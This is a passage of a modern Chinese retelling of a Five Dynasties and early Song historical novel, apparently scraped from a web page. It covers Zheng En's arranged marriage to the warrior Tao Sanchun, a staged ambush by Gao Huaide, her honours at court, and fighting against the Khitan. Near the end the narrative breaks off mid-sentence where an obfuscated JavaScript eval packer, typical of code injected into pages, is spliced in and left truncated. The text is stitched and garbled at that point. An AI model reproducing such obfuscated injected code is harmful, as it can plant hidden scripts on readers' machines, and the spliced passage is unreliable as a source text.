郑恩坐在锦墩上,腰板挺得笔直,眼珠盯着自己的鼻子,一动也不动,还以为这样就是最有礼貌的样子。世宗看了,又忍不住想笑,故意问他:“三御弟,朕听说你定了门亲事,怎么不早点告诉朕,好让你早日完婚?” 郑恩一听,头立刻摇得像拨浪鼓:“这不是我要定的!都是二哥(赵匡胤)做的主,跟我没关系!” 世宗挑眉:“男女成婚,是人生大事,你怎么能推给别人?” “我本来就不要这个女人!”郑恩急了,嗓门都大了点,“都是二哥非要给我做媒,我可没答应!” 世宗忍不住笑了:“朕现在就派人去陶家庄,把陶三春接来京城,跟你完婚,了了这桩大事。” 郑恩一听,更急了,赶紧摆手:“陛下,我都说了不要了!您要是非要接她来,就让二哥娶她!反正媒是他做的!” 世宗笑得更厉害了,指着他说:“你这话说得没道理——哪有把自己定好的亲事推给媒人的?朕知道你心里想什么,不就是怕陶三春武艺高,以后管着你吗?不过朕觉得这样好——以后你要是不懂礼仪、不守国法,就让王妃好好教训你!” 说完,世宗立刻传旨:“礼部听着,现在派四个官员,准备半副御驾的仪仗,去陶家庄迎接陶三春进京,选个好日子,让她和汝南王郑恩成婚!”传完旨,他一甩龙袖,起身回宫了。文武百官也跟着退了朝。 出了大殿,郑恩拉着赵匡胤的袖子,一脸委屈:“二哥,我都说了,那个泼辣的女娃娃,我才不要!娶她回来干什么?就算接来了,我也不跟她成婚!” 赵匡胤拍开他的手,皱着眉说:“三弟,你说什么胡话?这是朝廷的旨意,谁敢违抗?你要是不遵旨,就是犯了逆君之罪,你知道吗?” “我不要就是不要!他还能把我怎么样?”郑恩梗着脖子,不服气地说。 “天子的喜怒说不准,随便找个理由就能治你的罪!”赵匡胤严肃起来,“你要是违抗旨意,轻了就革去你的王位,让你当老百姓;重了,就是砍头示众——就算你是御弟,陛下也不会饶了你!” 郑恩一听“砍头”,脸立刻白了,刚才的底气一下子没了。他挠了挠头,小声说:“照你这么说,我非得听他的?可是我以前多自在,没人管我,现在娶了她,不就跟成了死人一样,什么都不能自己做主了?”他嘟囔了半天,最后还是叹了口气,“算了算了,我听你的就是了。” 说完,两人各自回了自己的王府。 赵匡胤回到府里,见父亲赵弘殷正在院子里练剑,赶紧上前帮忙递了块毛巾。“爹,我有个事跟您说,”赵匡胤擦了擦汗,“高怀德武艺高强,人品也好,我想把妹妹许配给他做妻子,您看怎么样?” 赵弘殷一听,高兴得眼睛都亮了:“好啊!怀德这孩子我知道,是个好孩子,跟咱们家也般配。就这么定了,我这就让人选日子,给他们办婚事!” 王侯家的婚事,可比普通人家热闹多了。到了成婚那天,赵府里张灯结彩,鼓乐声从早响到晚,朝廷里的文武百官都来送贺礼——有送金银的,有送绸缎的,还有送古玩的,院子里堆得满满的。 新人拜堂的时候,高怀德穿着大红喜服,赵匡胤的妹妹赵月娥盖着红盖头,先对着天地磕头,再对着赵弘殷夫妇磕头,最后夫妻对拜。拜完堂,丫鬟们扶着赵月娥进了洞房,高怀德则留在前厅陪客人喝酒,一直闹到半夜才散。 第三天,按照规矩,赵弘殷准备了一千两银子,当作嫁妆,让高怀德带着赵月娥回自己的府里。高怀德心里记挂着母亲,回去后立刻派家将备了马车,去山东老家接母亲来京城,好让她享享清福。这里暂且不表。 再说礼部接到世宗的旨意,立刻派了四个官员,准备好半副御驾的仪仗,往陶家庄去迎接陶三春。陶三春的哥哥陶龙、陶虎,自从赵匡胤做媒,把妹妹许给郑恩,收下聘礼后,就一直让人打听京城的消息。 这天,家里的仆人陶顺匆匆跑进来,手里拿着一封信:“大少爷、二少爷,好消息!京城来消息了——赵将军(赵匡胤)护送陛下打仗,立了大功,升了南宋王;郑公子也封了汝南王!” 陶龙、陶虎一听,赶紧接过信看,看完后都笑了。陶龙拿着信,快步走进陶三春的房间:“三春,你看!郑恩封王了,咱们之前说的‘有王位才成婚’,现在算数了!” 陶三春正坐在窗边绣手帕,闻言抬起头,接过信看了一眼,又放回桌上,嘴上不屑地说:“不过是个王爷罢了,有什么好高兴的?”可她的指尖却悄悄捏紧了手帕——其实她心里早就记着郑恩了,之前陶龙跟她说过郑恩在战场上的事,她嘴上不说,心里却觉得这个粗人倒也有点本事。 陶虎在旁边笑道:“三妹,你就别嘴硬了!哥这就去苏杭那边,给你买最好的绸缎,做最漂亮的衣服,再置备些铜锡器皿,不能让人家觉得咱们陶家小气!” 陶三春没反对,只是轻声说:“哥,别太浪费了——他王府里肯定有这些东西,不用咱们多费心。” “那不一样!”陶龙摆摆手,“咱们陶家虽然不是大官,但也不能让人笑话。再说,这是你的嫁妆,得办得风风光光的!”说完,他就让人去苏杭采买绸缎,又找了十几个最好的裁缝,在家里赶做衣服——有绣着凤凰的红袄,有镶着金边的裙子,还有轻便的战袄,生怕陶三春到了京城,想练武没衣服穿。 陶家的老管家陶福也忙前忙后,一会儿让人打扫院子,一会儿让人准备喜棚,还跟陶龙说:“大少爷,咱们得挑几个机灵的丫鬟,跟着小姐去京城,好伺候她。”陶龙点点头,让陶三春自己选丫鬟,陶三春选了两个从小跟在她身边的丫鬟,一个叫春桃,一个叫夏荷。 过了半个多月,这天早上,陶家庄的县官突然带着两个衙役来了。陶龙、陶虎赶紧把他迎进大厅,坐下喝茶。县官放下茶杯,笑着说:“恭喜二位!贵府的令妹夫郑恩,现在是汝南王了!陛下特意派了礼部的四个官员,带着半副御驾仪仗,来接王妃进京成婚——估计过几天就到了,我先过来报个喜。” 陶龙、陶虎一听,赶紧站起来道谢。陶龙有点紧张,搓着手说:“大人,我们都是普通百姓,不懂怎么款待天使(朝廷官员),您给指点指点?” 县官笑着说:“不难。天使来了,要设四桌正席;跟着来的仪仗队员,要设五十桌席;每个人还要赏二两银子;那些赶车的、打杂的,给他们酒饭就行,工钱到了京城,郑王爷会给的。你们照着这个准备,准没错。” 陶虎赶紧让人记下,又说:“大人,要是天使快到了,麻烦您让衙役提前两天告诉我们,我们好准备酒席。” 县官点点头:“没问题。”说完,喝了杯茶,就起身走了。 陶龙的妻子王氏听说后,赶紧走进陶三春的房间,笑着说:“三妹,恭喜你了!县官都来报喜了,再过几天,你就是王妃了!” 陶三春正在试穿新做的战袄,闻言笑了笑:“嫂子,都是哥瞎忙。” “怎么是瞎忙?”王氏拉着她的手,“你看这战袄多合身,以后到了京城,想练武也方便。对了,爹娘留下的一千两银子,哥说用来办酒席和赏银,你觉得怎么样?” 陶三春点点头:“听哥的就行。”其实她心里早就乐开了花,只是不想表现出来——她偷偷摸了摸战袄上的刺绣,想着以后到了京城,说不定能和郑恩一起练武,心里就有点发烫。 再说南宋王赵匡胤,这天把高怀德请到府里,两人坐在书房里说话。“怀德,有个事想跟你商量,”赵匡胤喝了口茶,表情有点严肃,“陶三春武艺高强,之前还打赢过郑恩,我怕她到了京城,觉得没人比她厉害,以后不服管——尤其是郑恩那个性子,肯定管不住她。” 高怀德放下茶杯,疑惑地问:“那二哥想怎么办?” “我想让你在路上‘吓’她一下,让她知道京城有能人,以后别太骄傲。”赵匡胤解释道,“你武艺比郑恩高,也比张光远他们厉害,只有你能跟她抗衡。你带着家里的家将,假装去打猎,先跟礼部的官员打个招呼,让他们别慌——然后你假扮成响马,拦着她的车驾,要‘买路钱’。她肯定会生气,亲自出来跟你交手,到时候你试试她的武艺,再跟她说明白,是我让你来的,这样她就知道收敛了,郑恩以后也有面子。” 高怀德想了想,觉得这主意可行,笑着说:“行,我听二哥的。不过我得跟家将们说清楚,别真伤了王妃——毕竟是郑恩的妻子,要是伤了,他肯定要跟我闹。” “放心,你手下的人都是老手,不会出错的。”赵匡胤拍拍他的肩膀,“你先去准备,等陶三春的车驾快到京城的时候,你就动手。” 高怀德点点头,起身告辞,回去后立刻选了五十个武艺好的家将,准备好马匹和兵器,又让人跟礼部的官员通了气,就等着陶三春的车驾来了。 过了几天,礼部的官员带着仪仗,护送着陶三春的车驾,到了陶家庄所在的县城。县官早就带着衙役在城外等着,把他们迎到公馆里,送了礼物,又赶紧派人去陶家庄报信。 陶龙、陶虎接到消息,立刻让人在门外搭起喜棚,安排车马和人住的地方;大厅里摆好桌椅,准备接待官员;侧厅里准备了酒席,给家将们吃;赶车的、打杂的,都安排在庄房里吃饭。还请了戏班子,准备晚上唱戏。 第二天一早,陶家庄外就传来了锣鼓声——礼部的官员带着仪仗来了。前面的人举着“汝南王奉旨迎亲”的牌子,后面跟着半副御驾仪仗,有旗、有伞、有扇,五颜六色的,看着特别威风。后面跟着官员和宫监,县官也跟在后面。 陶龙、陶虎赶紧出门迎接,把他们请进大厅。官员拿出圣旨,念了一遍,无非是册封陶三春为汝南王妃,让她进京成婚的话。陶龙、陶虎听完,跪下谢恩,然后请官员坐下喝茶。 茶过三巡,就开席了。酒席办得特别丰盛,有鸡有鸭有鱼,还有当地的特产,官员们吃得很高兴,戏班子也开唱了,一直闹到下午才散。陶龙选了个好日子,决定第二天就动身去京城。亲戚们想来送嫁,陶龙怕路上麻烦,都婉言谢绝了。 第二天一早,陶家庄外鞭炮齐鸣。陶三春穿着大红的嫁衣,盖着红盖头,被丫鬟扶上了马车——马车是按照王妃的规格做的,外面雕着凤凰,里面铺着软垫。陶龙、陶□□着马,跟在马车旁边;礼部的官员和宫监也骑着马,在前面带路;仪仗队员跟在后面,浩浩荡荡的一队人马,往京城的方向去了。 路上的老百姓都围过来看热闹,有人指着马 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礼部的官员早就知道高怀德要假扮响马,故意装作害怕的样子,赶紧对陶龙说:“陶公子,这可怎么办?京城附近怎么会有响马?” 陶龙也有点慌,但还是强装镇定,催马往前,对着为首的“响马”(高怀德)大声喝道:“你们这些毛贼,胆子也太大了!这是京城附近,你们也敢拦路抢劫?我们不是商人,也不是辞官的官员,没带多少钱!再说,这是汝南王郑恩的王妃的车驾,你们也敢拦?赶紧让开,不然别怪我们不客气!” 高怀德哈哈大笑,故意装出嚣张的样子:“没银子?也行!把那个王妃交出来,给我做压寨夫人,我就放你们过去!要是敢说半个‘不’字,你们今天都别想走!” 陶龙气得脸都红了,大声骂道:“你这毛贼,真是不知死活!你知道王妃娘娘的本事吗?我这就去告诉她,让她出来用铜锤打死你们,让你们知道厉害!”说完,他掉转马头,往陶三春的马车跑去。 马车里的陶三春,早就听见外面的吵闹声,正问丫鬟春桃:“外面怎么了?怎么不走了?” 春桃刚想回答,就见陶龙跑到马车旁,掀开车帘,着急地说:“三春,外面有响马拦路,还说要抓你做压寨夫人!” 陶三春一听,气得一下子站起来,声音都变了:“反了他们了!拿我的披挂来!” 春桃赶紧从箱子里拿出鱼鳞甲、红战袄和兽皮靴,帮陶三春穿上。陶三春又拿起放在旁边的两柄铜锤——这对铜锤重八十二斤,一般人根本拿不动,可她拿在手里,却跟拿筷子一样轻松。 她掀开车帘,翻身跳上旁边的白马,勒住缰绳,带着春桃、夏荷和几个家将,冲到前面,大声喝道:“哪里来的毛贼,敢拦我的路?” 高怀德见她来了,心里暗暗佩服——这陶三春果然有气势。他催马冲上前,故意喊道:“女将看箭!”说着,拉弓搭箭,一箭射了过去。 陶三春没防备,箭从她左耳旁边擦过,吓得她心里一紧——她没想到这响马还会射箭。还没等她反应过来,又有一箭从右耳旁边射来,她赶紧放下一只铜锤,伸手接住了箭,大声骂道:“毛贼,有本事就把箭都射出来!” 高怀德笑了笑,又射了一箭,这次瞄准了她的护心镜。陶三春早有准备,拿起铜锤,“铛”的一声,把箭打落在地上。旁边的仪仗队员和家将们都看呆了,忍不住喊了声“好!” 陶三春拍马冲上前,举起铜锤就往高怀德身上砸。高怀德赶紧挺枪挡住,“铛”的一声,枪杆被铜锤震得发麻,他心里暗暗惊讶:“这陶三春的力气真不小!” 两人打了起来,枪来锤往,一转眼就打了三四十个回合。陶三春越打越觉得不对劲——这响马的枪法很厉害,不像是普通的毛贼,倒像是受过专门训练的武将。她心里想:“这人肯定不是真响马,我别伤了他,先看看情况。” 想到这里,她手里的力气故意松了点。高怀德看出她的破绽,赶紧用枪往她肋下拨,想把她从马上掀下来。可陶三春反应很快,用肋夹住了枪杆,又放下一只铜锤,伸手抓住了枪头。 高怀德用力想把枪拉回来,可枪杆被夹得紧紧的,根本拉不动。就在这时,陶三春拿起另一只铜锤,朝着高怀德的头砸了下去。高怀德赶紧松开枪,双手抓住了铜锤的柄,两人就这样僵持着。 陶三春趁机从马上跳下来,用力一扯,把高怀德也从马上扯了下来。她松开铜锤,指着高怀德骂道:“没本事的毛贼,今天饶你一命,赶紧滚!” 高怀德站起来,拍了拍身上的灰尘,笑着说:“王嫂,别生气,我是高怀德——是南宋王赵匡胤让我来迎接您的。”说完,他对着后面喊了一声:“都过来,给王妃磕头!” 五十个家将赶紧下马,跪在地上磕头。陶三春愣了一下,才反应过来,又惊又气:“原来是高侯!你怎么假扮响马捉弄我?” “王嫂别见怪,”高怀德赶紧解释,“是南宋王担心您觉得京城没人比您厉害,特意让我来试试您的武艺——现在我知道了,王嫂的武艺真是厉害,我以后可不敢跟您交手了。” 陶三春听了,忍不住笑了:“你们真是胡闹!要是我刚才没手下留情,你现在早就受伤了。” 这时陶龙、陶虎也走了过来,笑着说:“高侯,辛苦你特意来迎接,真是让我们受宠若惊。” “应该的,”高怀德笑着说,“汝南王是我的兄弟,王嫂就是我的嫂子,我来迎接是应该的。” 陶龙有点后怕:“你们这么闹,要是真伤了人,可就麻烦了。” “放心,我射的箭都没装箭头,不会伤人的,”高怀德解释道,“不过王嫂的铜锤是真厉害,我刚才要是慢一点,现在就起不来了。” 众人听了,都笑了起来。陶三春让人拿了些银子,赏给高怀德的家将,然后和高怀德一起,带着车驾,继续往京城走。这里暂且不表。 再说汝南王郑恩,这天坐在王府里,心里犯了愁——他听说陶三春的车驾快到了,可他根本不知道怎么准备婚礼。他以前是个粗人,从来没办过这么大的事,要是哪里弄错了,肯定会被陶三春笑话,也会被朝廷里的官员笑话。 “不行,我得找二哥问问。”郑恩站起来,让人备马,带着几个家将,往南宋王府去了。他和赵匡胤是患难兄弟,不用通报,直接下马进了府,走到大厅里,见赵匡胤正在看书。 “二哥!”郑恩大喊一声,走了过去,坐在他对面。 赵匡胤放下书,笑着问:“三弟,今天怎么有空来我这里?是不是陶三春要到了,你慌了?” 郑恩脸一红,挠了挠头:“二哥,你怎么知道?家将说陶家的送亲队伍快到了,带了二百多个人——我从来没办过婚礼,不知道该怎么办,特意来问你。” 赵匡胤喝了口茶,慢慢说:“婚礼的规矩,其实也简单,就是场面要大,不能小气。你先准备二百两银子,让能干的家将去请厨子和茶夫,准备酒席;再准备三百两银子,赏给送亲的人;还有一二百两,给府里的下人做犒赏;最重要的是谢媒礼,最少也得三千两,不能少了——我可是你的大媒,你可不能亏待我。” 郑恩一听,脸更红了——他府里的银子没那么多,之前世宗赐的银子,他都分给手下的兄弟了。“二哥,我……我没那么多银子,”他小声说,“你的谢媒礼,能不能先借我用用?以后我加倍还你。” 赵匡胤忍不住笑了:“你还没给我谢媒礼,倒先跟我借上了?” “不是借你的,”郑恩赶紧解释,“是陶家来了,肯定会给你送谢媒的花红和银子,你先把那些借我用,等我有了再还你。” 赵匡胤笑得更厉害了,指着他说:“你现在真是越来越会耍赖了,以后别叫郑子明,叫‘赖猫儿焦面大王’得了!” 郑恩有点生气,又有点无奈:“二哥,别取笑我了——我还有个正经事问你。” 赵匡胤收住笑,故意逗他:“赖猫儿大王,除了借银子,你还有什么正经事?” 郑恩的脸一下子红到了脖子根,半天没说话,最后才扭扭捏捏地说:“二哥,我……我怕拜堂的时候出错。比如……比如要跪多久?会不会摔跟头?还有……还有成了亲之后,我要是惹陶三春生气了,该怎么办?” 赵匡胤听了,笑得前仰后合,连手里的茶杯都差点打翻。“你呀你,”他擦了擦笑出来的眼泪,“拜堂的时候,跟着司仪的话做就行,跪不了多久;至于摔跟头——你走路小心点,别跟平时一样毛手毛脚的,就不会摔。要是惹陶三春生气了,你就认错——她是王妃,你让着她点,又不会少块肉。” 郑恩听了,心里才算松了点,可还是有点担心:“要是她还生气怎么办?” “那你就给她赔罪,给她买好吃的,”赵匡胤耐心地教他,“女人都吃软不吃硬,你别跟她硬来就行。” 郑恩点点头,把赵匡胤的话记在心里。他心里虽然还有点怕,但更多的是期待——他想起陶三春的样子,虽然泼辣,可武艺高强,人也直爽,心里竟然有点盼着婚礼快点到了。 正是: 不读书怎么知道伦理道理?没文化只能懂点粗浅的人情。 到底郑恩的婚礼办得怎么样,陶三春到了京城后又发生了什么事,且听下回分解。 53. 第 53 章 话说郑恩这人,天生就带着股子山野里的直爽劲儿,没读过多少书,肚子里的墨水加起来恐怕还没他手里的铁棍重。眼瞅着和陶三春的婚期越来越近,他站在自己那间刚收拾出来的新房里,盯着满屋子红彤彤的绸缎,手都不知道往哪儿放——拜堂该怎么拜?见了新娘子该说啥?要是陶三春又像当年瓜园里那样,一棍子抡过来咋办?越想越慌,最后干脆揣了两瓣刚烤好的地瓜,往南宋王府跑,找赵匡胤讨主意。 赵匡胤正在书房里看兵书,见郑恩一头闯进来,地瓜皮还沾在衣襟上,忍不住笑了:“你这急三火四的,是怕陶三春把你那点家当都搬空了?” 郑恩把地瓜往桌上一放,一屁股坐在椅子上,挠着后脑勺皱眉头:“二哥,不是俺怕她搬东西,是俺怕拜完堂她又动手!你说俺要是多喝几壶酒,干脆蒙头睡大觉,不理她,行不行?” 赵匡胤放下书,脸色正经了些:“你这想法可不行。结婚本就是图个夫妻和睦,将来好生儿育女,延续香火。你要是敢冷落她,以陶三春那火爆脾气,管你是不是新郎官,保准抄起家伙就揍——到时候我可不会来救你,你自己扛得住?” 郑恩一听,脑袋摇得像拨浪鼓,额头上都冒了点汗:“二哥说得对,她发起火来是真吓人。俺这辈子就会喝酒打架,哪懂这些结婚的规矩?你可得教俺,咋样才能不挨揍。” 赵匡胤见他是真急了,便耐心解释:“古时候男子三十岁结婚,女子二十岁嫁人,这是阴阳相配的道理,也是人间正道。夫妻之间得和和气气,说话要温柔,做事要体贴,像人家说的‘相敬如宾’那样。你明天拜完堂,进了洞房,别光顾着自己喝酒,多跟三春说说话,人家是女孩子,就算性子烈,也盼着丈夫疼她。” 郑恩似懂非懂地点点头,又想起件事,从怀里掏出个油光锃亮的玉玦,往桌上一放:“对了二哥,你之前给俺的定亲玉玦,俺可不能还你——等将来俺有了侄子,这玩意儿能当长命锁,比还给你管用多了。” 赵匡胤见状,故意逗他:“人家都说你是‘赖猫’,今天一看,还真没说错!”两人哈哈大笑,赵匡胤又特意拨了五个得力的家将,让他们去郑恩府里帮忙准备婚事,郑恩这才揣着心满意足,乐呵呵地走了。 转眼到了吉期。这天一大早,陶三春的两个哥哥陶龙、陶虎就带着几十号人,拉着十几车嫁妆往郑府赶——有绣着百鸟朝凤的锦被,有打造得锃亮的铜器,还有陶三春自己用的那把虎头枪,也用红布裹着,放在最显眼的车上。郑恩站在府门口,看着这些从没见过的排场,眼睛都直了,拉着身边的管家老王念叨:“俺这辈子都没见过这么多好东西,多亏了二哥,不然俺哪能娶到这么体面的媳妇?”说着就让账房拿银子,给搬嫁妆的人每人都发了赏钱,乐得那些人连声道谢。 第二天才是正式拜堂的日子。郑府里张灯结彩,门口的鼓乐手吹得震天响,赵匡胤带着弟弟赵光义,还有高怀德、高怀亮兄弟,以及京城里的大小官员,都来贺喜。没过多久,陶三春的花轿就到了——那花轿是赵匡胤特意让人准备的,红漆描金,四周挂着流苏,走起来叮当作响。 阴阳官看了时辰,高声喊:“吉时到,新人出轿!”陶三春穿着大红的嫁衣,头上盖着红盖头,由丫鬟扶着走出花轿。郑恩穿着一身新做的蟒袍,慌慌张张地迎上去,手刚碰到陶三春的袖子,就被她轻轻推了一下——郑恩心里一紧,以为她又要生气,结果就听陶三春小声说:“慌啥,按规矩来。”郑恩这才松了口气,赶紧挺直腰板,跟着赞礼官的口令拜天地、谢圣恩、拜祖宗,最后夫妻交拜。 进了洞房,丫鬟端来合卺酒,两人各喝了一口。郑恩看着陶三春盖着红盖头的样子,心里又紧张又好奇,想掀盖头又不敢,只好搓着手傻笑:“夫人,你还记得当年瓜园里的事不?那时候俺偷你家的瓜,被你一棍子打得起不来,现在想起来,还觉得屁股疼呢。” 陶三春听他这么说,忍不住笑了,自己伸手掀开盖头——原来她虽然性子烈,长得却不难看,眉毛浓黑,眼睛亮得像星星,就是脸上少了点女子的柔媚,多了股英气。“那时候谁知道你是俺未来的丈夫?要是早知道,俺也不会下那么重的手。”陶三春说着,端起桌上的茶喝了一口,“不过你也该打,好端端的为啥偷瓜?” 郑恩挠挠头,不好意思地说:“那时候俺跟二哥四处闯荡,好几天没吃饭,实在饿极了才偷的。现在俺有钱了,以后再也不偷东西了,还会对你好。”说着就伸手想帮陶三春解腰带,陶三春脸一红,推开他的手:“不用你,俺自己来。” 丫鬟们收拾完东西,就退出了洞房,顺手关上了门。郑恩虽然憨厚,可毕竟是第一次和女子独处,看着陶三春褪去嫁衣,露出里面的粉色内衣,脸都红到了脖子根。陶三春也有些害羞,不过她性子直,索性拉着郑恩坐在床边:“俺知道你是个实在人,以后咱们就是夫妻,你别惹俺生气,俺也不会随便打你。”郑恩连连点头,一把把陶三春抱在怀里,两人躺在床上,说着贴心话,不知不觉就到了后半夜——这一夜,郑恩才算真正明白,原来夫妻之间,不是只有打架喝酒,还有这么多温柔的滋味。 第二天五更天,两人就起来梳洗,换上公服去上朝谢恩。世宗柴荣正在金殿上处理政事,见郑恩和陶三春进来,先是看了郑恩一眼,然后目光落在陶三春身上,心里忍不住惊讶:这女子看着就不像普通的官夫人,站在那儿腰板挺直,眼神坚定,比有些武将还精神。他故意问道:“听说你懂兵法、力气大,是真的吗?” 陶三春跪在地上,声音清亮:“臣妾出身乡下,从小没学过多少闺阁里的规矩,就喜欢骑马射箭、读兵书。十八般武艺倒是会一点,不过说力气比别人大,臣妾不敢当——都是乡亲们夸张了。” 世宗一听,觉得这女子既实在又有底气,便说:“既然你会射箭,不如在殿外试试,让朕和百官都开开眼。”陶三春领了旨,跟着侍卫去拿弓箭。这时,站在旁边的御史李谦突然站出来,大声说:“陛下,不可!女子岂能在朝堂之上舞刀弄枪?这不合礼法!” 陶三春正好拿了弓箭回来,听到这话,也不生气,只是看着李谦说:“御史大人说的是礼法,可礼法也讲‘学以致用’。现在边境不宁,若臣妾能射箭御敌,为朝廷出力,难道不比守着‘女子不能习武’的规矩强?” 世宗听了,忍不住点头:“说得好!朕看你有胆识,就该让你试试。”陶三春走到殿外的丹墀下,只见百步之外立着一个红心靶。她拿起弓箭,拉满弓弦,“嗖嗖嗖”三箭射出去,每一箭都正中红心。殿上的文武百官都看呆了,纷纷拍手叫好。 世宗龙颜大悦,当场下旨:“陶三春武艺高强,胆识过人,封你为毅勇正德夫人,再加封武状元,以后可以和郑恩一起上朝,参与朝政!另外,你可以去后宫拜见太后和皇后,在宫里游玩三天,然后再回府。”陶三春谢了恩,郑恩在旁边笑得合不拢嘴,心里琢磨着:俺这媳妇可真厉害,刚嫁过来就成了状元,比俺强多了。 之后,陶三春跟着宫官去见太后。养老宫里,太后正坐在榻上喝茶,见陶三春进来,连忙让她起身。陶三春行了礼,坐在旁边的椅子上。太后看着她,越看越喜欢:“你今年多大了?家里还有什么人?” 陶三春一听,眼圈有点红:“臣妾今年二十一,爹娘早就不在了,是两个哥哥陶龙、陶虎把臣妾养大的。祖上曾经在後唐做过官,后来天下大乱,就回乡下种地了,现在哥哥们还在乡下过着普通日子,没做过官。” 太后叹了口气:“真是苦了你了。不过你这么有本事,以后在宫里有什么事,尽管跟我说。另外,你哥哥们既然是皇亲国戚,也不能一直当老百姓——我会跟皇上说,给他们封个爵位。”说着,又让人给陶三春赐了三千两银子和一桌子宴席。陶三春谢了恩,心里暖暖的,觉得这太后真是个慈祥的人。 宫女素云端着茶过来,小声对陶三春说:“夫人,太后很少对人这么好,您真是有福气。”陶三春笑了笑,接过茶,心里暗下决心:以后一定要好好做事,不辜负太后和皇上的信任。 后来,陶三春又去见了皇后。皇后虽然觉得陶三春性子太烈,不像一般的妃嫔,但也佩服她的本事,给她赐了一千两银子和几十匹彩绸,还有不少金银珠宝。接下来的三天,陶三春在宫里游玩,各宫的妃嫔们知道她是武状元,还负责纠察后宫的事,都不敢怠慢——有个李妃原本想刁难她,见陶三春说话有理有据,又有太后撑腰,赶紧改了态度,送了她一对玉镯。陶三春客气地收下,心里明白:在宫里做事,光有本事还不够,还得会做人。 三天后,陶三春出宫回府。世宗又下了一道旨:封陶龙、陶虎为侯伯,在京城给他们建府第;另外,赐陶三春半副銮驾,让礼部官员护送她回府,宫里赐的东西也一并送过去。陶三春回到郑府时,郑恩正和赵匡胤、高怀德等人喝酒,见她回来,赶紧迎上去。陶龙、陶虎也赶来了,接到封爵的圣旨,激动得跪在地上磕头谢恩。 接下来的几天,京城里的王侯将相轮流请郑恩和陶三春吃饭,庆祝他们新婚和陶三春受封,郑府里天天热闹非凡。不过陶三春没忘了正事,每天都会去上朝,和大臣们一起讨论朝政,提出的建议都很有道理,世宗越来越信任她。 再说世宗,自从登基以来,一直很勤奋,什么事都亲自处理。有一天,河南府推官高锡上书,劝世宗:“天下这么大,事情这么多,就算是尧舜也不能一个人处理完。陛下不如选些有本事的人当宰相、太守,让他们去做事,陛下只要看着他们的功劳,该赏就赏,该罚就罚,这样天下才能治理好,陛下也不用这么累。” 世宗看完奏折,叹了口气,跟身边的宰相范质说:“我不是喜欢累,是怕把事情交给别人,他们不用心。以前有大臣拿着朝廷的俸禄,却不办事,害得老百姓受苦,我不能再犯这样的错。”不过他还是把奏折留了下来,心里琢磨着:或许高锡说得对,以后可以试着放权。 没过多久,世宗又下了道命令,让赵匡胤挑选军队里的精兵——他对大臣们说:“养兵就要养精兵,一百个农夫辛辛苦苦种的粮食,才能养活一个士兵,要是养些没用的兵,就是浪费老百姓的血汗。”赵匡胤领了旨,把军队里的士兵都召集起来,一个个检查武艺。有个叫王勇的老兵,已经五十多岁了,头发都白了,可武艺还是很厉害,赵匡胤想把他留下,有人反对说:“他年纪太大了,不能上战场了。”赵匡胤说:“只要有本事,年纪大怕什么?留着他还能教年轻士兵武艺。”最后还是把王勇留了下来,士兵们都很佩服。 就在这时,传来一个坏消息:太师冯道去世了。世宗很伤心,因为冯道是三朝元老,为朝廷做了很多事,他特意下旨,让有关部门按照三公的礼仪安葬冯道。 另一边,北汉的皇帝刘崇自从在高平打了败仗,就一直又气又病,没过几个月就死了。他的儿子刘承钧派人去契丹报丧,契丹主下令封刘承钧为北汉皇帝,还让他改名叫刘钧。刘钧这个人,虽然孝顺,做事也勤快,对老百姓还行,可他太胆小了,为了讨好契丹,竟然认契丹主当爹,每年都送很多东西过去,像当年的石敬瑭一样丢人。他手下有个叫杨业的大将,很会打仗,可刘钧不重用他,把这么好的人才当成普通人,后来被天下人笑话。有人写了首诗骂他:“契丹当年那么强,经常来抢中原的地盘,刘钧却甘心认契丹当爹,真是个没骨气的昏君!” 显德二年正月初一,天上出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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屈突惠带着契丹兵冲过来,把韩通和张光远的军队团团围住,日夜攻打。张光远带着步兵、骑兵拼命抵抗,可契丹兵太多了,怎么也打不退。张光远跟韩通说:“现在情况太紧急了,要是向朝廷求救,路太远,来不及;不如向张藏英求救,他离这儿近,说不定能很快赶来。”韩通觉得有道理,赶紧找了个身手好的士兵,让他偷偷穿过契丹的营寨,去冀州找张藏英。 士兵见到张藏英,把情况说了一遍。张藏英看完韩通写的信,对士兵说:“你回去告诉张将军,让他一定要守住三天,三天之内,我肯定会带救兵来!”士兵赶紧回去报信。 张藏英立刻召集军队,他的副将林岳担心地说:“将军,咱们只有五千人,契丹有一万人,咱们能打得过吗?”张藏英拍了拍林岳的肩膀,说:“别担心,契丹兵虽然多,可他们骄傲自大,咱们只要用点计谋,就能打败他们。你留下来守城,我带五千人去救李晏口。”林岳点点头,张藏英带着军队就出发了。 到了李晏口附近,张藏英先派人去侦察,知道屈突惠正在全力攻城,没防备后面。他让士兵们把旗帜藏起来,悄悄绕到契丹营寨的后面,突然敲响战鼓,大喊着冲了出去。屈突惠正在指挥士兵攻城,听到后面有鼓声,回头一看,见是张藏英的军队,心里慌了一下,可他还是硬着头皮,提着刀冲了上去,跟张藏英打了起来。 两人打了二十多个回合,张藏英故意装作打不过,拨马就跑。屈突惠以为张藏英害怕了,赶紧拍马追上去,心里还想着:抓了张藏英,立个大功!可他刚追了几步,张藏英突然转过身,伸出手,一把抓住屈突惠的腰带,大喝一声:“下来吧!”就把屈突惠从马上拽了下来,手下的士兵赶紧冲上去,把屈突惠绑了起来。 契丹兵见主将被抓,都慌了,纷纷逃跑。韩通和张光远在城里看到契丹兵乱了,赶紧带着军队冲出来,和张藏英的军队一起追杀契丹兵。契丹兵跑了十几里地,死伤了很多人,剩下的人也不敢再回来。 张光远拉着张藏英的手,高兴地说:“要是没有你,咱们这次肯定完了!你真是救了咱们,也救了老百姓!”张藏英笑着说:“这是我应该做的。这条胡卢河和这座城,是中原的屏障,你们一定要抓紧时间筑完,以后契丹就不敢随便来了。要是有什么事,再派人找我。”韩通和张光远连连道谢,张藏英把屈突惠斩了,挂在城门口示众,然后带着军队回冀州了。 韩通和张光远再也不敢怠慢,每天亲自监督老百姓筑城,连吃饭都在工地上。老百姓们见契丹兵被打跑了,也安心了,都卖力地干活,不到一个月,城就筑完了。他们赶紧上书给世宗,请求派军队守着这座城。 